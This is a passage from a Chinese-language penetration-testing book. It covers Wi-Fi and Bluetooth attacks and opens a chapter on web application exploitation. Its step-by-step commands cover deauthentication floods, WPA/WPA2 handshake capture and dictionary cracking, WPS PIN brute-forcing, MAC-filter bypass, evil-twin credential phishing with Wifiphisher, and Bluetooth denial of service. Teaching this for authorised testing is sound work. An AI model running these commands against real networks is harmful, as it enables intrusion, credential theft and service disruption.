    要发起攻击,打开一个新的命令行窗口并输入如下截图所示的命令(0表示我们正在发起去认证攻击,10表示我们将发送10个去认证数据包,-a是目标 AP,c是客户端的 MAC 地址):

    图 6.6:向连接的站点发送去认证数据包

  7. 在所有去认证数据包发送完毕后,返回到最初监视网络连接的窗口,如图6.7所示:

    图 6.7:隐藏的 ESSID 现在在频道 11 的 airodump 中可见

现在你将看到明文显示的ESSID

知道ESSID有助于攻击者确认他们专注于正确的网络(因为大多数 ESSID 基于企业身份),并有助于登录过程。

绕过 MAC 地址认证和开放认证

MAC 地址通常与网络适配器或具有网络功能的设备关联;因此,它通常被称为物理地址。

MAC 地址中的前三对数字称为组织唯一标识符,它们用于识别制造或销售设备的公司。最后三对数字是特定于设备的,可以视为设备的序列号。

因为 MAC 地址是唯一的,它可以用于将用户与特定网络关联,特别是无线网络。这有两个重要的意义——它可以用于识别试图访问网络的黑客或合法的网络测试人员,且它可以作为身份验证的手段,允许个人访问网络。

在渗透测试中,测试者可能希望在网络中保持匿名。一种支持这种匿名配置的方法是更改攻击系统的 MAC 地址。

这可以通过手动使用ifconfig命令来完成。要确定现有的 MAC 地址,请从命令行窗口运行以下命令:

sudo ifconfig wlan0 down
sudo ifconfig wlan0 | grep HW 

要手动更改 IP 地址,请使用以下命令:

sudo ifconfig wlan0 hw ether 38:33:15:xx:xx:xx
sudo ifconfig wlan0 up 

替换xx表达式中的十六进制对。此命令将允许我们将攻击系统的 MAC 地址更改为一个受害网络已使用并接受的地址。攻击者必须确保该 MAC 地址在网络中尚未被使用,否则,如果网络正在被监控,重复的 MAC 地址可能会触发警报。

在更改 MAC 地址之前,必须关闭无线接口。

Kali 还允许使用自动化工具macchanger。要将攻击者的 MAC 地址更改为由相同供应商生产的产品的 MAC 地址,可以从终端窗口使用以下macchanger命令:

sudo macchanger wlan0 -e 

要将现有的 MAC 地址更改为完全随机的 MAC 地址,请使用以下命令:

sudo macchanger wlan0 -r 

你应该能够看到macchanger工具。图 6.8提供了分配给我们无线适配器的新 MAC 地址:

图 6.8:更改无线适配器的 MAC 地址

一些攻击者在测试过程中使用自动化脚本频繁更改其 MAC 地址,以实现匿名化。

许多组织,特别是大型学术团体,如高校和大学,使用 MAC 地址过滤来控制谁可以访问其无线网络资源。

MAC 地址过滤使用网络卡上的唯一 MAC 地址来控制对网络资源的访问;在典型配置中,组织维护一个允许访问网络的 MAC 地址白名单。如果传入的 MAC 地址不在批准的访问列表中,则会限制其连接网络。

不幸的是,MAC 地址信息以明文形式传输。攻击者可以使用airodump收集已接受的 MAC 地址列表,然后手动将其 MAC 地址更改为目标网络接受的地址之一。因此,这种类型的过滤几乎无法为无线网络提供实际的保护。

无线网络保护的下一个层级是使用加密来提供。

攻击 WPA 和 WPA2

Wi-Fi 保护访问WPA)和Wi-Fi 保护访问 2WPA2)是无线安全协议,旨在解决 WEP 的安全缺陷。由于 WPA 协议为每个数据包动态生成新的密钥,它们能够防止导致 WEP 失败的统计分析。然而,它们也容易受到某些攻击技术的影响。

WPA 和 WPA2 通常与预共享密钥PSK)一起使用,以确保 AP 和无线客户端之间的通信安全。PSK 应至少为 13 个字符长度的随机密码短语;如果不是,可以通过暴力破解攻击将 PSK 与已知字典进行比较,从而确定 PSK。这是最常见的攻击方式。

请注意,如果配置为企业模式,使用 RADIUS 认证服务器进行身份验证,可能需要更强大的计算机来破解密钥或执行不同类型的中间人攻击(MiTM)。

暴力破解攻击

与 WEP 不同,WEP 可以通过对大量数据包进行统计分析来破解,而 WPA 解密要求攻击者创建特定的数据包类型,以揭示细节,例如 AP 与客户端之间的握手。

要攻击 WPA 传输,应执行以下步骤:

  1. 启动无线适配器,并使用ifconfig命令确保已创建监视接口。

  2. 使用sudo airodump-ng wlan0mon来识别目标网络。

  3. 使用以下命令开始捕获目标 AP 与客户端之间的流量:

    sudo airodump-ng --bssid F0:7D:68:44:61:EA -c 11 --showack --output-format pcap --write <OUTPUT LOCATION> wlan0mon 
    
  4. 设置-c来监视特定频道,--write将输出写入文件以供稍后的字典攻击使用,--showack标志确保客户端计算机确认你请求将其从无线 AP 去认证。上述命令的典型输出如图 6.9所示:

    图 6.9:在频道 11 上对特定 BSSID 的 airodump

  5. 保持这个终端窗口打开,并打开第二个终端窗口来发起去认证攻击;这将迫使用户重新认证目标 AP 并重新交换 WPA 密钥。去认证攻击命令如下所示:

    sudo aireplay-ng -0 10 -a <BSSID> -c <STATION ID> wlan0mon 
    

    图 6.10展示了aireplay-ng在去认证连接到特定 BSSID 的站点时的实际操作:

    图 6.10:将站点从 BSSID 去认证

  6. 成功的去认证攻击将显示ACKs,这表示连接到目标 AP 的客户端已确认刚刚发送的去认证命令。

  7. 检查原始命令行窗口,保持开启以监控无线传输,并确保捕获到四路握手。成功的 WPA 握手将在控制台的右上角标识出来。在以下示例中,数据表明 WPA 握手值为C2:B3:7B:17:00:B7

    图 6.11:成功捕获特定 BSSID 的无线握手

  8. 使用aircrack通过定义的词表破解 WPA 密钥。攻击者为收集握手数据定义的文件名将位于根目录,并附加.cap扩展名。

在 Kali 中,词表位于/usr/share/wordlists目录中。虽然有多个词表可用,但建议下载更有效破解常见密码的列表。

在之前的示例中,密钥已预先放入密码列表中。对一个长且复杂的密码进行字典攻击可能需要几个小时,具体时间取决于系统配置。以下命令使用passwordlist作为源词表(攻击者也可以使用位于 Kali 的/usr/share/wordlists/文件夹中的密码列表):

sudo aircrack-ng -w passwordlist -b BSSID <OUTPUT LOCATION>Output.cap 

图 6.12展示了成功破解 WPA 密钥的结果;经过测试六个常见密钥后,网络名为“Hidden”的密钥被发现是Letmein87

图 6.12:无线适配器列表

如果你没有现成的自定义密码列表,或者希望快速生成一个列表,可以在 Kali 中使用 crunch 应用程序。以下命令指示 crunch 使用给定的字符集创建一个最小长度为5字符、最大长度为25字符的单词列表:

sudo crunch 5 25 abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 | aircrack-ng --bssid (MAC address) -w nameofthewifi.cap 

作为附加选项,你还可以通过使用基于 GPU 的密码破解工具(如 AMD/ATI 显卡的 oclHashcat 和 NVIDIA 显卡的 cudaHashcat)来提高暴力破解攻击的效果。

要实施此攻击,首先使用以下命令将 WPA 握手捕获文件output.cap转换为hashcat文件:

sudo aircrack-ng nameofthewifi.cap -j <output file> 

转换完成后,你应该在运行命令的同一文件夹中获得一个.hccapx文件。现在,攻击者可以通过以下命令执行hashcat,对新的捕获文件进行攻击(选择与您的 CPU 架构和显卡匹配的hashcat版本):

sudo hashcat -m 2500 <filename>.hccapx <wordlist> 

文本描述自动生成

图 6.13:在 VirtualBox 中使用主机 GPU 运行 hashcat

在虚拟容器(如 VirtualBox 或 VMware)中运行 hashcat 时,常见的问题之一是用户可能无法按预期运行 hashcat,因为 3.x 版本的 hashcat 需要 GPU。然而,可以通过在终端中运行以下命令来作为替代方案:sudo apt-get install libhwloc-dev ocl-icd-dev ocl-icd-opencl-dev。这将允许测试人员利用 CPU 的计算能力在容器内运行 hashcat。

如果你有多个 GPU,测试人员可以利用诸如 John the Ripper 和cowpatty等工具,通过终端中的以下命令,从捕获的无线流量中破解密码:

sudo john –w=<dictionaryfile> --stdout | sudo cowpatty -r yourhandshake.cap -d - -s WIFIESSIDS 

基本上,John the Ripper 会逐步创建一个字典,包含所有字符、特殊字符和数字。之后,输出将传递给 Pyrit,通过passthrough关键字来破解密码,并且cowpatty将针对特定的WIFIESSID来破解密码。

使用 Reaver 攻击无线路由器

WPA 和 WPA2 也容易受到针对 AP 的Wi-Fi 保护设置WPS)和 PIN 攻击。

大多数 AP 支持 WPS 协议,该协议于 2006 年作为标准推出,旨在让用户轻松设置和配置 AP,并将新设备添加到现有网络中,而无需重新输入复杂的密码。

不幸的是,PIN 是一个八位数字(1 亿个可能的猜测),但最后一个数字是校验和。由于 WPS 认证协议将 PIN 分为两半并分别验证每一半,这意味着 PIN 的前半部分有 10⁴(10,000)个可能的值,后半部分有 10³(1,000)个可能的值——攻击者最多只需猜测 11,000 次就能攻破 AP!

Reaver 是一个旨在最大化猜测过程的工具(尽管 Wifite 也会进行 WPS 猜测)。

要开始 Reaver 攻击,首先使用 wash 辅助工具识别任何易受攻击的网络,确保设备处于监视模式,可以通过运行 sudo airmon-ng start wlan0 来启动监视模式,然后运行以下命令:

sudo wash -i wlan0mon --ignore-fcs 

如果存在任何易受攻击的网络,可以使用以下命令对其发起攻击:

sudo reaver -i wlan0mon -b (BSSID) -vv 

攻击者在终端运行 Reaver 工具时应能够看到以下截图:

图 6.14:Reaver 在特定 BSSID 上运行

在 Kali 中测试此攻击已证明攻击速度较慢且容易失败;然而,它可以作为背景攻击使用,或者可以补充其他攻击方式来破坏 WPA 网络。

针对无线通信的拒绝服务(DoS)攻击

我们将评估的针对无线网络的最终攻击是 DoS 攻击,其中攻击者通过使网络崩溃或剥夺合法用户对无线网络的访问来使网络无法使用。无线网络对 DoS 攻击非常敏感,而且在分布式无线网络中很难定位攻击者。DoS 攻击的示例如下:

  • 向无线网络注入精心制作的网络命令(如重新配置命令)可能会导致路由器、交换机和其他网络设备发生故障。

  • 一些设备和应用程序可以识别到攻击正在发生,并会自动响应,禁用网络。恶意攻击者可以发起明显的攻击,然后让目标设备自己创建 DoS!

  • 用大量数据包轰炸无线网络可以使其无法使用;例如,HTTP 洪水攻击通过向 Web 服务器发出成千上万的页面请求,可以耗尽其处理能力。以同样的方式,向网络中注入身份验证和关联数据包会阻止用户连接到接入点(AP)。

  • 攻击者可以构造特定的去身份验证和去关联命令,这些命令在无线网络中用于关闭授权连接并洪泛网络,从而阻止合法用户维持与无线 AP 的连接。

为了演示这一点,我们将通过用去身份验证数据包洪泛网络来创建 DoS 攻击。因为无线 802.11 协议支持在接收到定义的数据包后进行去身份验证(以便用户在不再需要时断开连接),这可能是一种具有破坏性的攻击——它符合标准,且没有办法阻止这种情况的发生。

将合法用户从网络中踢出的最简单方法是用一串去身份验证数据包攻击他们。这可以通过 aircrack-ng 工具套件来实现:

sudo airmon-ng start wlan0
sudo aireplay-ng -0 0 -a (bssid) -c (station ID) wlan0mon 

此命令将攻击类型标识为 -0,表示这是一个去身份验证攻击。第二个 0(零)启动一个持续的去身份验证数据包流,使网络对其用户不可用。

WebSploit 框架是一个开源工具,用于扫描和分析远程系统。它包含多个工具,包括专门用于无线攻击的工具。可以通过在终端运行sudo apt install websploit进行安装。要启动它,只需打开命令行并输入websploit

WebSploit 界面类似于recon-ng和 Metasploit 框架,提供模块化界面供用户使用。

启动后,使用show modules命令查看当前版本中存在的攻击模块。使用use wifi_deauth命令选择Wi-Fi deauth(一串去认证数据包)。如图 6.15所示,攻击者只需使用set命令设置各种选项,然后运行execute启动攻击:

图 6.15:使用 WebSploit 执行去认证攻击

攻击 WPA2 企业实现

WPA-Enterprise 是一种在企业中广泛使用的技术。它不使用单一的 WPA-PSK(大多数用户用于连接无线网络的方式)。为了保持域账户的治理和灵活性,企业使用 WPA-Enterprise。

一种典型的攻击 WPA-Enterprise 网络的方法是,首先枚举无线设备,然后攻击已连接的客户端以获取身份验证详情。这包括伪装目标网络并向客户端提供良好的信号。然后,原始有效的 AP 会导致 AP 和连接到 AP 的客户端之间的中间人攻击(MiTM)。要模拟 WPA-Enterprise 攻击,攻击者必须在目标范围内接近,才能拥有多个 AP。攻击者还可以使用 Wireshark 嗅探流量,识别无线网络流量握手。

在本节中,我们将探讨攻击者通常会利用的不同工具,以对 WPA-/WPA2-Enterprise 网络进行各种类型的攻击。

Wifite 是一个自动化无线攻击工具,预装在 Kali Linux 中,使用 Python 编写。Wifite 的最新版本是 V2.5.8,修复了之前已知的aircrack-ng漏洞。

本工具利用以下攻击方法来提取无线 AP 的密码:

  • WPS:离线 Pixie Dust 攻击和在线暴力破解 PIN 攻击

  • WPA:WPA 握手捕获和离线破解,以及 PMKID 哈希捕获和离线破解

  • WEP:包括前述所有攻击方式,如 chop-chop、碎片化和 aireplay 注入

现在我们已经准备好启动 Wifite,以便我们可以执行 WPA 四路握手捕获,并执行自动密码破解攻击。可以通过在终端输入sudo wifite直接启动该工具。攻击者将进入交互模式,以便选择一个接口,如图 6.16所示:

图 6.16:Wifite 中的无线适配器列表

选择接口后,它应自动启用适配器的监控模式,并开始列出所有 Wi-Fi ESSID、频道、加密方式和信号强度,无论它们是否为 WPS,以及连接到特定 ESSID 的客户端数量。一旦选择了目标 ESSID,攻击者按下键盘上的Ctrl + C,这将启动攻击。

默认情况下,会自动启动四种攻击类型。这些攻击包括 WPS Pixie Dust、WPS PIN、PMKID 和 WPA 握手。如果前三种攻击与目标无关,攻击者可以通过按Ctrl + C来忽略它们。在捕获握手时,攻击者可以看到已发现的连接到该站点的客户端。握手捕获完成后,默认情况下,握手副本会以hs/handshake_ESSID_MAC.cap的形式存储在当前文件夹中。

一旦握手成功捕获,它将使用tsharkcowpatty(此工具在 Kali Linux 中未预安装,安装方法是在终端中运行sudo apt install cowpatty),以及aircrack-ng进行分析,验证 ESSID 和 BSSID 的握手有效性。

Wifite 被编程为自动使用字典列表与aircrack-ng一起运行。也可以在启动 Wifite 时直接传递自定义字典列表,方法是输入wifite --wpa --dict /path/customwordlist。成功的握手破解通常会返回无线 AP(路由器)的密码,如图 6.17所示:

图 6.17:无线适配器列表

所有密码将保存在当前文件夹中的cracked.txt文件中,该文件是从运行 Wifite 的目录中获取的。该工具具有匿名功能,可以在攻击前将 MAC 地址更改为随机地址,攻击完成后再恢复原状。

使用 bettercap

bettercap 是攻击者可以利用的工具之一,它可以在几分钟内更好地执行 Wi-Fi 握手捕获攻击。该工具预装了许多 Wi-Fi 黑客模块,在红队演练或渗透测试中非常方便。以下是成功捕获 WPA2 握手的步骤:

  1. 通过运行sudo airmon-ng start wlan0来确保无线设备处于监控模式。

  2. 通过输入sudo bettercap --iface wlan0mon在终端中运行带有相关接口的 bettercap。

  3. 在 bettercap 终端中输入wifi.recon on,如图 6.18所示:

    图 6.18:bettercap 执行无线网络侦察

    如果在运行wifi.recon on命令时,看到错误信息error while setting interface wlan0mon,请确保安装了旧版本的 libpcap。您可以使用wget http://old.kali.org/kali/pool/main/libp/libpcap/libpcap0.8_1.9.1-4_amd64.deb下载它,然后使用dpkg -i libpcap0.8_1.9.1-4_amd64.deb安装。

  4. 要列出所有可见的 Wi-Fi 网络,请在 bettercap 终端中输入wifi.show

  5. 通过运行wifi.deauth <BSSID>执行去认证攻击。

  6. 在去认证成功后,当设备重新连接到 Wi-Fi 网络时,必须通过 bettercap 捕获握手并存储在/root/文件夹中,如图 6.19所示,针对 BSSID c2:b3:7b:17:00:b7:

    图 6.19:bettercap 捕获无线网络的握手

  7. 最后,可以将相同的.pcap文件传递给aircrack-nghashcat来破解密码。

使用 Wifiphisher 进行 Evil Twin 攻击

大多数公司面临的主要问题之一是办公室范围内存在伪造 AP,它们的名称与公司的 Wi-Fi 网络相同。在这一部分,我们探讨了 Wifiphisher,一个用于进行红队行动或 Wi-Fi 渗透测试的伪造 AP 框架。通常,我们使用此工具对连接到 Wi-Fi 网络的客户端执行有效的中间人攻击(MiTM)。

该工具在 Kali 中默认没有安装,因此攻击者应该通过在终端中运行sudo apt install wifiphisher来安装此工具。

成功执行 Evil Twin 攻击使用 Wifiphisher 的步骤如下:

  1. 安装 Wifiphisher 后,在终端中运行sudo wifiphisher启动该工具,这将显示以下带有可用无线网络列表的屏幕:

    图 6.20:Wifiphisher 识别无线网络列表

  2. 选择正确的无线目标 ESSID/BSSID 并按Enter键。这将使我们的无线适配器复制和克隆 AP。这将把我们带到一个屏幕,选择可用的钓鱼场景,如图 6.21所示:

    图 6.21:Wifiphisher 的预定义钓鱼模板

  3. 如前面的截图所示,内置了三个场景:固件升级页面、网络管理器连接和浏览器插件更新。我们可以选择任何一个选项。在此示例中,我们选择了选项 2,以模拟网络管理器窗口,显示特定页面并请求密码。接下来的步骤是复制具有相同名称和频道的 ESSID。此外,设置了 Web 和 DHCP 服务器,所有连接的设备将通过去认证方法断开连接。在内部,使用另一个接口设置了一个 AP 来捕获受害者输入的详细信息,如图 6.22所示:

    图 6.22:Wifiphisher 的虚假 AP 的活动客户端连接仪表板

  4. 无线终端设备将被去认证攻击断开,并且无法重新连接到 Wi-Fi 网络,因为该工具还会执行 Wi-Fi 干扰。(如果攻击者不希望干扰网络,建议使用sudo wifiphisher –nojamming。)

  5. 受害者现在将能够看到 Wi-Fi 网络作为开放网络,如图 6.23所示:

    图 6.23:我们目标无线网络的不安全克隆

  6. 一旦用户连接到免费 Wi-Fi,它会打开登录门户,要求用户输入密码,如图 6.24所示:

    图 6.24:受害者设备上的假冒登录门户

  7. 就是这样——受害者连接到攻击者网络时输入的任何密码都会在 Wifiphisher 中被捕获,这些输入可以用来创建密码列表字典,破解前面部分捕获的握手。攻击者在关闭 Wifiphisher 工具时,应该看到以下屏幕,按下Ctrl + C

    图 6.25:通过 Wifiphisher 使用假接入点捕获的密码列表

WPA3

尽管 WPA 的第三代(WPA3)于 2018 年 1 月推出,作为 WPA2 的替代品,以弥补 WPA2 的弱点,但它的使用并不广泛。该标准采用 192 位加密强度,WPA3-Enterprise 使用 AES-256 的 GCM 模式,配合SHA-384安全散列算法)作为基于散列的消息认证码HMAC),并且仍强制使用CCMP-128计数模式 密码块链接消息协议),它是AES-128美国加密标准)在 CCM 模式下使用,并且这是 WPA3-Personal 中的最小加密算法。

与 WPA2 的预共享密钥PSK)不同,WPA3 采用平等认证SAE),也称为 Dragonfly。Mathy Vanhoef(papers.mathyvanhoef.com/usenix2021.pdf)撰写了一篇非常有趣的论文,概述了与 IEEE 标准 802.11 相关的框架碎片化、聚合和伪造攻击设计缺陷。

虽然目前没有现成的漏洞可供利用,但与 WPA3-Personal 及其使用的 SAE 认证协议有关的问题仍然存在。

蓝牙攻击

曾经有一家赌场通过鱼缸温度计被黑客攻击,这显示了确保物联网(IoT)设备安全的重要性。蓝牙也不例外,蓝牙低功耗BLE)设备被消费者和企业广泛使用,因此攻击者需要理解如何探测和攻击这些设备。

蓝牙协议层的重要部分如下:

  • 逻辑链路控制和适配协议L2CAP):它提供高层数据协议和应用程序之间的数据接口。

  • 射频通信协议RFCOMM):它模拟计算机上串行通信接口(如 EIA-RS-232)所需的功能。RFCOMM 可以通过 AT 命令访问,也可以通过无线应用协议WAP)通过传输控制协议/互联网协议TCP/IP)栈和对象交换OBEX)协议访问。默认情况下,可以共享数据文件、名片和日历信息,无需厂商依赖。

蓝牙有三种安全模式:

  • 安全模式 1 – 这是一个不安全模式,出现在旧型号的手机/设备中。

  • 安全模式 2 – 在此模式下,强制执行服务级安全;例如,某些访问需要授权和身份验证才能连接并使用服务。

  • 安全模式 3 – 在此模式下,强制执行链路级安全,而蓝牙本身使用受信任和不受信任的设备。

Kali Linux 预装了设备驱动程序(BlueZ,它是一组管理蓝牙设备的工具)以支持蓝牙设备。类似于使用iwconfig识别无线适配器,我们在终端使用sudo hciconfig -a来验证我们的蓝牙设备是否连接并处于活动状态。

运行此命令时,您应该看到hci0hci1适配器(或两者)的配置信息,如图 6.26所示:

图 6.26:蓝牙 USB 设备列表

下一步是在终端中运行sudo hcitool scan,对任何可用的蓝牙设备进行侦察。这将给我们带来一份设备列表,显示我们的适配器能够接触并收到响应的设备,如图 6.27所示:

图 6.27:使用 hcitool 进行蓝牙侦察

类似于 Wireshark,攻击者还可以利用 hcidump 工具进一步调试设备发送和接收的包。

现在我们已经获取了目标设备,下一步是识别设备支持的服务类型。这可以通过使用 Kali 中预装的 sdptool 来实现。以下命令提供了目标设备支持的服务列表,如图 6.28所示:

sudo sdptool browse <MAC address of the target> 

图 6.28:运行 sdptool 浏览目标 MAC

一旦获得这些细节,攻击者可以执行更高级的攻击,例如蓝牙窃取(bluesnarf,利用设备访问其联系人列表、短信、电子邮件,甚至私人照片)或蓝牙劫持(bluejacking,向其他可用的蓝牙设备发送匿名消息)。由于这些攻击依赖于特定的移动设备型号,因此我们在本书中不会进一步探讨它们。攻击者可以选择使用l2ping工具执行拒绝服务(DoS)攻击。只需在设备上运行sudo l2ping –s 100 <MAC 地址>,一旦目标设备瘫痪,就可以使用社交工程技术伪装成 IT 人员。

总结

在本章中,我们检查了执行成功攻击任何无线网络所需的不同任务,并且了解了如何配置无线调制解调器以及使用如aircrack-ng等工具进行 AP 的侦察。在本章中,我们还学习了蓝牙的基础知识,以及完整的aircrack-ng工具套件,这些工具用于识别隐藏的网络、绕过 MAC 认证,并攻破 WPA、WPA2 和 WPA-Enterprise。我们还看到了如何利用自动化工具 Wifite 快速捕获握手并离线破解密码,或使用一个好的字典,并结合多个选项。接着,我们深入探讨了如何使用 Wifiphisher 设置一个假 AP,并学习了如何对无线网络和蓝牙设备进行 DoS 攻击。

在下一章中,我们将重点讨论如何使用专门针对这种类型访问的方法评估网站,从而进行必要的侦察和扫描,识别可能被利用的漏洞。我们将看到攻击者如何利用自动化工具(如漏洞利用框架和在线密码破解)来攻击这些漏洞。最后,我们将能够对 Web 应用程序执行最重要的攻击,并通过 Web shell 利用这种访问权限,完全控制 Web 服务。我们还将探讨特定服务,以及它们为何以及如何容易受到 DoS 攻击。

第七章:利用 Web 应用程序

在前几章中,我们回顾了攻击者的网络攻击链,这是一种用于破坏网络和设备、泄露数据或阻碍访问网络资源的具体方法。在第五章高级社会工程学与物理安全中,我们研究了从物理攻击和社会工程学出发的不同攻击路线。在第六章无线和蓝牙攻击中,我们看到无线网络是如何被破坏的。

随着技术的应用,我们可以看到市场上有多家虚拟银行。这些银行没有任何物理基础设施,它们仅由简单的 Web/移动应用程序构成。基于 Web 的服务无处不在,大多数组织允许远程访问这些服务,并且几乎始终保持可用。在本章中,我们将重点介绍通过网站、Web 应用程序和 Web 服务进行的最常见攻击路径之一。对于渗透测试人员和攻击者而言,这些 Web 应用程序暴露了网络上的后端服务、访问网站的用户的客户端活动以及用户与 Web 应用程序/服务数据之间的连接。

本章将重点从攻击者的角度来审视 Web 应用程序、Web 服务和客户端的利用。

到本章结束时,你将学习到以下内容:

  • Web 应用程序攻击方法论

  • 黑客的思维导图

  • Web 应用程序/服务的漏洞扫描

  • 特定应用程序的攻击

  • 利用加密和 Web 服务中的漏洞

  • 使用 Web 后门保持对被攻陷系统的访问

  • 客户端 Web 应用程序攻击

  • 跨站脚本框架和 BeEF 框架

Web 应用程序攻击方法论

系统化和目标导向的渗透测试总是从正确的方法论开始。图 7.1 显示了一个典型的 Web 应用程序攻击:

图示说明自动生成

图 7.1:Web 应用程序攻击方法论

方法论分为六个阶段:设定目标、蜘蛛抓取和枚举、漏洞扫描、利用漏洞、掩盖痕迹和保持访问权限。以下是详细解释:

  1. 设定目标:在渗透测试中,设定正确的目标非常重要,因为攻击者将更多地关注特定的易受攻击系统,以便根据攻击链方法获得系统级的访问权限。

  2. 蜘蛛抓取和枚举:此时,攻击者已识别出 Web 应用程序列表,并开始深入研究特定技术版本及其相关的漏洞。使用多种方法来抓取所有网页,识别技术,并寻找一切与下一阶段相关的信息。

  3. 漏洞扫描:在此阶段,收集所有已知的漏洞,利用著名的漏洞数据库,其中包含公开的漏洞利用工具或已知的常见安全配置错误。

  4. 利用:这一阶段允许渗透测试人员利用已知和未知的漏洞,包括应用程序的业务逻辑。例如,如果某个应用程序存在管理员界面暴露的漏洞,攻击者可以尝试通过执行各种攻击(如密码猜测或暴力破解攻击)或利用特定的管理员界面漏洞(例如,Java 管理扩展JMX)控制台攻击,直接访问管理员界面,无需登录,部署 war 文件,运行远程 Web Shell,或通过暴露的 应用程序编程接口API)端点直接执行命令)。

  5. 掩盖痕迹:在这一阶段,攻击者会抹去所有黑客攻击的证据。例如,如果系统通过文件上传漏洞被攻破并执行了远程命令,攻击者会尝试清除应用服务器日志、Web 服务器日志、系统日志及其他日志。一旦掩盖痕迹,攻击者会确保没有留下任何能够揭示其利用来源的日志。

  6. 维持访问:攻击者可能会植入后门,并进行权限提升,或利用该系统作为僵尸计算机,进行更多针对内部的专门攻击。这可能包括在网络共享驱动器上的文件传播勒索病毒,甚至(在大规模组织中)将受害系统添加到域中,以接管企业域。

黑客的思维导图

人类思维是无可替代的。在本节中,我们将更多关注从攻击者的角度看待一个 web 应用程序的表现。图 7.2 显示了 web 应用程序黑客攻击的思维导图:

自动生成的图示描述

图 7.2:Web 应用程序黑客攻击思维导图

思维导图被分为两类:攻击者可以攻击服务器端漏洞或客户端漏洞。这些漏洞通常因以下原因之一而发生:

  • 使用过时或未修补的技术

  • 最新技术的安全配置不足

  • 设计缺陷或编码时未考虑安全性

  • 人为因素:缺乏技术熟练的员工

在服务器端,攻击者通常会执行以下攻击列表:

  • Web 应用防火墙规避

  • 注入攻击

  • 远程代码执行

  • 文件包含——远程和本地

  • 目录路径遍历

  • 利用会话管理

  • 利用系统或应用程序实现中的业务逻辑

  • Web 服务配置错误或权限过度授权

  • 通过共享基础设施引诱易受攻击的服务

  • 识别任何相关信息,帮助他们进行更专门的攻击

客户端攻击针对的系统通常缺乏企业系统和端点上存在的安全控制(尤其是防火墙、入侵检测系统和端点安全保护)。如果这些攻击成功并且建立了持久通信,一旦客户端设备重新连接到目标网络,就可以利用该设备发起攻击。这些攻击侧重于利用客户端而非服务器端的漏洞,可能包括浏览器、应用程序(厚客户端/薄客户端)和网络,具体如下:

  • Internet Explorer 漏洞:截至 2021 年 12 月,Internet Explorer 已知有 1,177 个漏洞(请见 www.cvedetails.com/product/9900/Microsoft-Internet-Explorer.html?vendor_id=26)。

  • JavaScript 和 Java 漏洞。

  • DNS 绑定/重绑定漏洞:DNS 重绑定是一种针对嵌入网页代码的基于 DNS 的攻击。通常,嵌入网页代码(如 JavaScript、Java 和 Flash)发出的请求会绑定到它们来源的网站(遵循同源策略)。DNS 重绑定攻击可以提升基于 JavaScript 的恶意软件渗透私有网络并破坏浏览器同源策略的能力。

  • 客户端脚本注入漏洞/跨站脚本攻击:反射型、持久型(存储型)和基于 DOM 的。

考虑到这些漏洞,攻击者配备了完整的利用工具包,并准备开始侦察。

Web 应用程序侦察

Web 应用程序及其提供的服务特别复杂。通常,服务是通过多层架构交付给最终用户,其中包含可通过互联网访问的应用服务器和 web 服务器,同时与位于内部网络中的中间件服务、后端服务器和数据库进行通信。

需要在测试过程中考虑的几个额外因素增加了复杂性,其中包括以下内容:

  • 网络架构,包括安全控制(防火墙、IDS/IPS 和蜜罐)以及负载均衡器等配置

  • 托管 web 服务的系统平台架构(硬件、操作系统及附加应用程序)

  • 应用程序、中间件和最终层数据库,它们可能使用不同的平台(Unix 或 Windows)、厂商、编程语言,以及开源、商业和专有软件的混合。

  • 身份验证和授权过程,包括维持应用程序会话状态的过程。

  • 管理应用程序使用方式的底层业务逻辑

  • 客户端与 web 服务之间的交互和通信

鉴于 Web 服务的复杂性,渗透测试人员必须能够适应每个站点的特定架构和服务参数。同时,测试过程必须一致地应用,以确保没有遗漏任何内容。

为了实现这些目标,已经提出了几种方法论。最广泛接受的是开放式 Web 应用安全项目OWASP;参见 www.owasp.org)及其列出的前 10 大漏洞。

作为最低标准,OWASP 为测试人员提供了指导。然而,仅关注前 10 大漏洞是目光短浅的,并且该方法论已经展示出一些漏洞,特别是在应用程序如何支持业务实践的逻辑中发现漏洞时。

使用网络杀伤链方法,一些特定于 Web 应用程序侦察的活动应包括以下内容:

  • 确定目标 web 应用程序,特别是关于它的托管位置和方式。

  • 枚举目标网站的站点目录结构和文件,包括确定是否使用了内容管理系统CMS)。这可能包括下载网站进行离线分析,包括文档元数据分析,并使用该站点创建用于密码破解的自定义词汇表(使用 crunch 等工具)。它还确保识别所有支持文件。

  • 确定认证和授权机制,并确定在与该网络服务进行事务时如何保持会话状态。这通常需要分析 cookies 及其使用方式,并利用代理工具。

  • 枚举所有表单。由于这些是客户端输入数据并与 Web 应用程序服务交互的主要方式,它们是多个可利用漏洞的所在,例如 SQL/XML/JSON 注入攻击和跨站脚本攻击。

  • 确定接受输入的其他区域,例如允许文件上传的页面,以及任何对上传类型的限制。

  • 确定错误是如何处理的,以及用户接收到的实际错误信息。错误信息通常会提供有价值的内部信息,如使用的软件版本、内部文件名和进程。

第一步是进行之前描述的被动和主动侦察(参见 第二章开源情报与被动侦察,以及 第三章外部和内部网络的主动侦察)。

特别是,确保识别托管站点,然后使用 DNS 映射来识别由同一服务器提供的所有托管站点。最常见且成功的攻击手段之一是攻击与目标网站托管在同一物理服务器上的非目标站点,利用服务器中的漏洞获取 root 权限,然后使用提升的权限攻击目标站点。

这种方法在共享云环境中非常有效,在这种环境中,许多应用程序都托管在同一个 软件即服务 (SaaS) 模型下。

Web 应用防火墙和负载均衡器的检测

下一步是识别网络保护设备的存在,如防火墙和 IDS/IPS,并识别任何欺骗性技术(蜜罐)。一种越来越常见的保护设备是 Web 应用防火墙 (WAF) 和 DNS 内容分发网络 (CDN)。

如果使用了 WAF,测试人员需要确保攻击,特别是依赖于精心构造输入的攻击,已经被编码,以绕过 WAF。

WAF 可以通过手动检查 cookies 来识别(一些 WAF 会标记或修改 Web 服务器和客户端之间传递的 cookies),或通过对头信息的更改来识别(当测试人员使用命令行工具如 Telnet 连接到 80 端口时,可以发现这些变化)。

WAF 检测过程可以通过 nmap 脚本 http-waf-detect.nse 自动化,如 图 7.3 所示:

图 7.3:nmap 脚本在端口 80 上检测 WAF

nmap 脚本能够识别 WAF 的存在;然而,脚本的测试表明,它并不总是准确的,返回的数据可能过于笼统,无法为绕过防火墙提供有效的策略指导。

wafw00f 脚本是一个自动化工具,用于识别和指纹识别基于 Web 的防火墙;测试结果表明,它是最准确的工具。该脚本可以从 Kali 中轻松调用,且输出结果如 图 7.4 所示:

图 7.4:wafw00f 工具识别目标网站上的 Cloudflare WAF

